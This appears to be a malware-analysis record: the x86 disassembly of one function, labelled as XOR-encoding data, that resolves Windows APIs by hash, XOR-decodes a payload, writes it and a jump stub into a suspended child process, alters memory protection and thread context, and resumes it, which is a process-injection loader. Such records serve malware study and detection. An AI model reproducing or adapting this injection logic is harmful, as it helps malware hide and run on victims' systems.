Function at 0xa0e60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x56c
call fcn.00098f20
call fcn.00094e50
call fcn.00095d00
call fcn.00097fd0
mov esi, 0xffffffff
call fcn.00092370
test al, al
je 0xa1284
call fcn.000ab5f0
cmp dword [0xb4afc], 0
je 0xa126f
push 0xfda8b77
push 0
call fcn.0009f200
add esp, 8
lea esi, [ebp - 0x578]
push 0x104
push esi
push dword [0xb4afc]
call eax
mov eax, dword [0xb4afc]
test eax, eax
mov dword [ebp - 0x1c], eax
je 0xa126f
lea ebx, [ebp - 0x84]
push 0x44
push ebx
call fcn.0009ed10
add esp, 8
lea eax, [ebp - 0xa3]
mov dword [ebp - 0x84], 0x44
push eax
push 0xb05f3
call fcn.0009b090
add esp, 8
lea edi, [ebp - 0x370]
push 0xffffffffffffffff
push eax
push edi
call fcn.000a7de0
add esp, 0xc
push 0x1e16041
push 0
call fcn.0009f200
add esp, 8
lea ecx, [ebp - 0x3c]
push ecx
push ebx
push 0
push 0
push 4
push 0
push 0
push 0
push edi
push 0
call eax
cmp eax, 1
jne 0xa126f
push dword [ebp - 0x1c]
call fcn.000a1eb0
add esp, 4
mov ebx, eax
push 0xfee9d362
call fcn.00094970
add esp, 4
push eax
push 0
call fcn.0009f200
add esp, 8
push 4
push 0x3000
push ebx
push 0
push dword [ebp - 0x3c]
call eax
test eax, eax
je 0xa126f
mov dword [0xb4134], eax
mov ecx, edi
push esi
mov dword [ebp - 0x18], eax
call 0xb00c0
push edi
call fcn.000a9af0
add esp, 4
mov ecx, edi
call fcn.000af580
push ebx
mov edi, dword [ebp - 0x1c]
push edi
call fcn.000a08f0
add esp, 8
mov esi, eax
push edi
push eax
call fcn.000980d0
add esp, 8
push dword [ebp - 0x18]
mov dword [ebp - 0x2c], esi
push esi
call fcn.000aa5b0
add esp, 8
call fcn.000a7760
test ebx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ebx
je 0xa1077
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi]
mov dword [ebp - 0x20], eax
not al
movzx eax, al
push eax
push 0x74
call fcn.00095780
add esp, 8
mov byte [ebp - 0xd], al
push 0x8b
push dword [ebp - 0x20]
call fcn.00095780
add esp, 8
mov byte [ebp - 0x20], al
push 0xff
push ebx
call fcn.00098320
add esp, 8
mov dword [ebp - 0x24], ebx
and al, 0x74
and bl, 0x8b
movzx ecx, byte [ebp - 0xd]
or bl, al
movzx eax, byte [ebp - 0x20]
push eax
push ecx
call fcn.00093cb0
add esp, 8
xor al, bl
mov byte [esi], al
push 0xf6233b52
call fcn.00094970
add esp, 4
mov ebx, dword [ebp - 0x24]
mov ecx, eax
mov edx, ebx
shr ebx, 0x18
shl edx, cl
push ebx
push edx
call fcn.00097ec0
add esp, 8
inc esi
mov ebx, eax
dec edi
jne 0xa0ff0
mov dword [ebp - 0x40], 0
push 0xa48b0f9
push 0
call fcn.0009f200
add esp, 8
lea ebx, [ebp - 0x40]
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x2c]
push dword [ebp - 0x18]
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0xa126f
push 0x8cae838
push 0
call fcn.0009f200
add esp, 8
push 4
push 0x3000
push 0x42
push 0
push dword [ebp - 0x3c]
call eax
test eax, eax
je 0xa126f
mov edi, eax
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov byte [ebp - 0x84], 0xbe
mov dword [ebp - 0x83], esi
mov byte [ebp - 0x7f], 0xb9
mov dword [ebp - 0x7e], eax
push 0xe2
call fcn.0009a200
add esp, 4
mov byte [ebp - 0x7a], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x79], eax
lea eax, [ebp - 0x93]
push eax
push 0xf
push 0xb0ca2
call fcn.000ae560
add esp, 0xc
lea ecx, [ebp - 0x75]
push 0xe
push eax
push ecx
call fcn.0009fce0
add esp, 0xc
mov byte [ebp - 0x67], 0xe9
push 0xb260bc6f
call fcn.00094970
add esp, 4
mov ecx, 0xbbc66b19
sub ecx, dword [ebp - 0x1c]
add ecx, esi
sub ecx, edi
add ecx, eax
mov dword [ebp - 0x66], ecx
push 0xa48b0f9
push 0
call fcn.0009f200
add esp, 8
push ebx
push 0x42
lea ecx, [ebp - 0x84]
push ecx
push edi
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0xa126f
push 0x2cc
mov esi, edi
lea edi, [ebp - 0x370]
push edi
call fcn.0009ed10
add esp, 8
push 0xf6223b5b
call fcn.00094970
add esp, 4
mov dword [ebp - 0x370], eax
push 0xf298fcbe
call fcn.00094970
add esp, 4
push eax
push 0
call fcn.0009f200
add esp, 8
push edi
push dword [ebp - 0x38]
call eax
mov edi, eax
push 0xd1a4de8
push 0
call fcn.0009f200
add esp, 8
push ebx
push 0x10
push 0x42
push esi
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0xa126f
cmp edi, 1
mov ecx, 1
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x2b8], esi
jne 0xa1212
push 0x4ba87e4
push 0
call fcn.0009f200
add esp, 8
lea ecx, [ebp - 0x370]
push ecx
push dword [ebp - 0x38]
call eax
xor ecx, ecx
cmp eax, 1
setne cl
mov esi, ecx
push 0xd1a4de8
push 0
call fcn.0009f200
add esp, 8
push ebx
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0xa126f
test esi, esi
je 0xa125b
push 0x68b1574
push 0
call fcn.0009f200
add esp, 8
push 0
push 0
push 0
push dword [ebp - 0x24]
push 0
push 0
push dword [ebp - 0x3c]
jmp 0xa126d
push 0xb232744
push 0
call fcn.0009f200
add esp, 8
push dword [ebp - 0x38]
call eax
push 0x7f96c13
push 0
call fcn.0009f200
add esp, 8
push 0
call eax
xor esi, esi
mov eax, esi
add esp, 0x56c
pop esi
pop edi
pop ebx
pop ebp
ret